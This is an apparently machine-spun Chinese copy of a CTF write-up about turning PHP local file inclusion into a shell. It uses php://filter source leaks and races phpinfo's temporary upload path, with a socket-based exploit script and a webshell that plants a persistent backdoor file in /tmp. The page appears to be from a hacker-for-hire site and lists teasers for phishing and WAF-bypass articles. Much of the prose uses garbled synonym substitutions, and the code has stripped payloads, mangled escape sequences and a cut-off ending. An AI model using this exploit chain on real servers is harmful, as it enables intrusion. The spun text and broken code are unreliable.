文件包括&奇技淫巧

访客5年前黑客资讯1222

前语
最近遇到一些文件包括的标题,在本篇文章记载两个trick。
环境布景
复现环境仍是很简略建立的:
例题1(php7)
index.php
dir.php
例题2(php5)
index.php
phpinfo.php
两道题的终究目标都是拿到根目录的flag。
phpinfo+LFI
咱们看到例题2:
咱们有文件包括,那么咱们能够简略的用伪协议走漏源代码:
file=php://filter/read=convert.base64-encode/resource=index.php
这是陈词滥调的问题,无需多讲,要点在于怎么去读取根目录的flag。
最简略想到的是运用包括:
http://ip/index.php?file=/flag
可是由于:
if (strpos($a,'flag')!==false) {
die('nonono');
}
咱们并不能进行读取,那么很简略想到,测验getshell。
这儿咱们能够介绍之一个trick,即运用phpinfo会打印上传缓存文件途径的特性,进行缓存文件包括到达getshell的意图。
咱们简略写一个测验脚本:
import requests
from io import BytesIO
files = {
  'file': BytesIO("
能够看到回显中有如下内容:
_FILES["file"]
Array
(
    [name] => test.txt
    [type] => application/octet-stream
    [tmp_name] => /tmp/phptZQ0xZ
    [error] => 0
    [size] => 26
)
咱们只需运用这一特性,进行包括getshell即可。
首要咱们运用正则匹配,提取暂时文件名:
data = re.search(r"(? ).*", r.content).group(0)

接下来便是条件竞赛的问题:怎么在文件暂时文件消失前,包括到它。
这儿为了事半功倍,我搜集了一些材料和原理:
1.暂时文件在phpinfo页面加载完毕后才会被删去。
2.phpinfo页面会将一切数据都打印出来,包括header。
3.php默许的输出缓冲区巨细为4096,能够理解为php每次回来4096个字节给socket衔接。
(来自ph牛:https://github.com/vulhub/vulhub/tree/master/php/inclusion)
那么咱们的竞赛流程能够总结为:
1.发送包括了webshell的上传数据包给phpinfo页面,一起在header中塞满垃圾数据。
2.由于phpinfo页面会将一切数据都打印出来,垃圾数据会加大phpinfo加载时刻。
3.直接操作原生socket,每次读取4096个字节。只需读取到的字符里包括暂时文件名,就当即发送第二个数据包。
4.此刻,之一个数据包的socket衔接实际上还没完毕,由于php还在持续每次输出4096个字节,所以暂时文件此刻还没有删去。
5.运用这个时刻差,在第二个数据包进行文件包括缝隙的运用,即可成功包括暂时文件,终究getshell。
一起,关于webshell也有考究,由于包括进程比较费事,假如运用一次性一句话木马:
则每次执行命令,都要进行一次包括,耗时耗力,所以咱们挑选包括后写入文件的shell:
');?>
这样一旦包括成功,该shell就会在tmp目录下永久留下一句话木马文件sky,下次运用直接轻松包括即可。
测验进行exp编写:
import os
import socket
import sys
def init(host,port):
padding = 'sky'*2000
payload="""sky test!');?>r"""
request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="file"; filename="test.php"r
Content-Type: text/phpr
r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Disposition: form-data; name="submit"r
r
Submitr
------WebKitFormBoundary9MWZnWxBey8mbAQ8--r
""" % payload
request1 = """POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: skypadding="""+padding+"""r
Cache-Control: max-age=0r
Upgrade-Insecure-Requests: 1r
Origin: nullr
Accept: """ + padding + """r
User-Agent: """+padding+"""r
Accept-Language: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8r
Content-Length: %sr
Host: %s:%sr
r
%s""" %(len(request1_data),host,port,request1_data)
request2 = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %s:%sr
r
r
"""
return (request1,request2)
def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i      
        if i == "":
            break
        if i.endswith("0rnrn"):

[1] [2]  黑客接单网

相关文章

攻破暗盘之拿下吃鸡DNF等游戏垂钓站群

前段时间有个网友给我发了个网址,说找到个专门做垂钓网站的衔接,让我看看,然后就引出了一系列事情。 网址如下:http://mfnyongshihuigui.jiebao8.top 其时也没介意,有天闲...

怎么经过乱用SSLTLS绕过Web应用程序防火墙

介绍 近些年来,Web安全现已逐步变成了IT安全范畴里十分重要的一个部分。Web运用的优势就在于开发人员能够在较短的时间内集成各种要害服务,并且保护难度也比传统的桌面端运用程序要低许多。除了规划新的...

恣意用户暗码重置(四):重置凭据未校验

在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...

运用SQLMap进行Access注入

1.1运用sqlmap进行access注入 关于存在access注入的站点,能够经过手艺注入或许东西注入来获取access数据库中的表以及内容,特别是获取网站后台办理表中的用户名及其暗码。 1.1.1...

百度浏览器的隐私安全问题剖析

首要发现 百度阅读器是微柔和安卓渠道上的一种网络阅读器,个人用户在向服务器传输数据时进行加密,就算加密了也很简略被解密。阅读器更新时或许很轻易地被中心攻击者运用,履行恣意代码。 安卓版别的百度阅读器...

探究Flask/Jinja2中的服务端模版注入(一)

假如你还没听说过SSTI(服务端模版注入),或许对其还不够了解,在此之前主张咱们去阅览一下James Kettle写的一篇文章。 作为一名专业的安全从事人员,咱们的作业便是协助企业安排进行危险决议计划...